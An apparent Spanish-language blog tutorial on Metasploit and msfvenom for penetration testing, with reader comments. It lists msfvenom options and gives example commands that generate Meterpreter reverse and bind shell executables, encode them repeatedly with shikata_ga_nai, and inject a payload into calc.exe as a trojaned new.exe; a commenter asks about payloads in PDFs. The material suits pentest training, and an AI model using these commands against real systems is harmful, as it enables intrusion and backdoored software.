La herramienta msfvenom es la combinación de msfpayload y msfencode, y ha estado en las pruebas de más de 3,5 años. msfpayload y msfencode han estado en servicio a la comunidad de hacking durante casi 10 años
Metasploit incorpora un “set” de herramientas (exploits, scanners, payloads, etc) que cubren perfectamente todas las fases de un test de intrusión (pentest), desde la adquisición de información y reconocimiento, hasta el descubrimiento de vulnerabilidades, su explotación y post explotación.
En este documento vamos a intentar mostrar el funcionamiento de esta herramienta mediante la realización de ejemplos prácticos. Para la realización de dichos ejemplos, se empleará una distribución Linux llamada “Kali Linux” o su predecesora “BackTrack 5r3”.
A día de hoy, Metasploit se considera la verdadera “navaja suiza del Pentester”.
Metasploit proporciona interfaces de línea de comandos, gráficas y web con más de 300 módulos de exploit a lo largo de una extensa variedad de programas, servicios y sistemas operativos.
Seguidamente podemos ir al directorio en el que se encuentra instalado Metasploit y ejecutar la consola basada en texto (msfconsole), la interfaz web (msfweb), o la interfaz gráfica (msfgui).
Metasploit consta de varias herramientas distintas:
- msfconsole. Consola de Metasploit.
- msfcli. Nos permite ejecutar módulos directamente sin entrar en la consola.
- msfpayload. Para generar payloads.
- msfencode. Permite codificar los payloads para quitar null bytes por ejemplo.
- msfvenom. Combinación de msfpayload y msfencode en una sola herramienta.
msfvenom
Parámetros.-p, --payloadEjemplos:Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsledPrepend a nopsled of [length] size on to the payload
-f, --formatOutput format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --archThe architecture to use
--platformThe platform of the payload
-s, --spaceThe maximum size of the resulting payload
-b, --bad-charsThe list of characters to avoid example: '\x00\xff'
-i, --iterationsThe number of times to encode the payload
-c, --add-codeSpecify an additional win32 shellcode file to include
-x, --templateSpecify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --options List the payload's standard options
-h, --help Show this message
--help-formats List available formats
./msfvenom -l payloadsGenerating a windows/meterpreter/reverse_tcp:
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exeTo generate a payload that avoids certain bad characters:
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00'To generate a payload with a specific encoder, and then encode 3 times:
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
Inject a payload to calc.exe, and save it as new.exe
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -k -f exe > new.exe

Este comentario ha sido eliminado por el autor.
ResponderEliminarpor que no puedo usar el msfpayload?
ResponderEliminarHola que tal..!!!gracias por el blog, quería saber si es posible hacer lo mismo con un payload con formato pdf, quiero codificar un pdf, lo he intentado varias veces pero solo encuentro la sintaxis, de la versión anterior de kali, no encuentro para kali 2017, gracias por su ayuda..!!!saludos!!!
ResponderEliminarDisculpa WeedmanOMG, que comente, me imagino que ya lo resolviste...
ResponderEliminarpero de todas maneras..el msfpayload quedó obsoleto, pero le reemplazó el msfvenom saludos!!!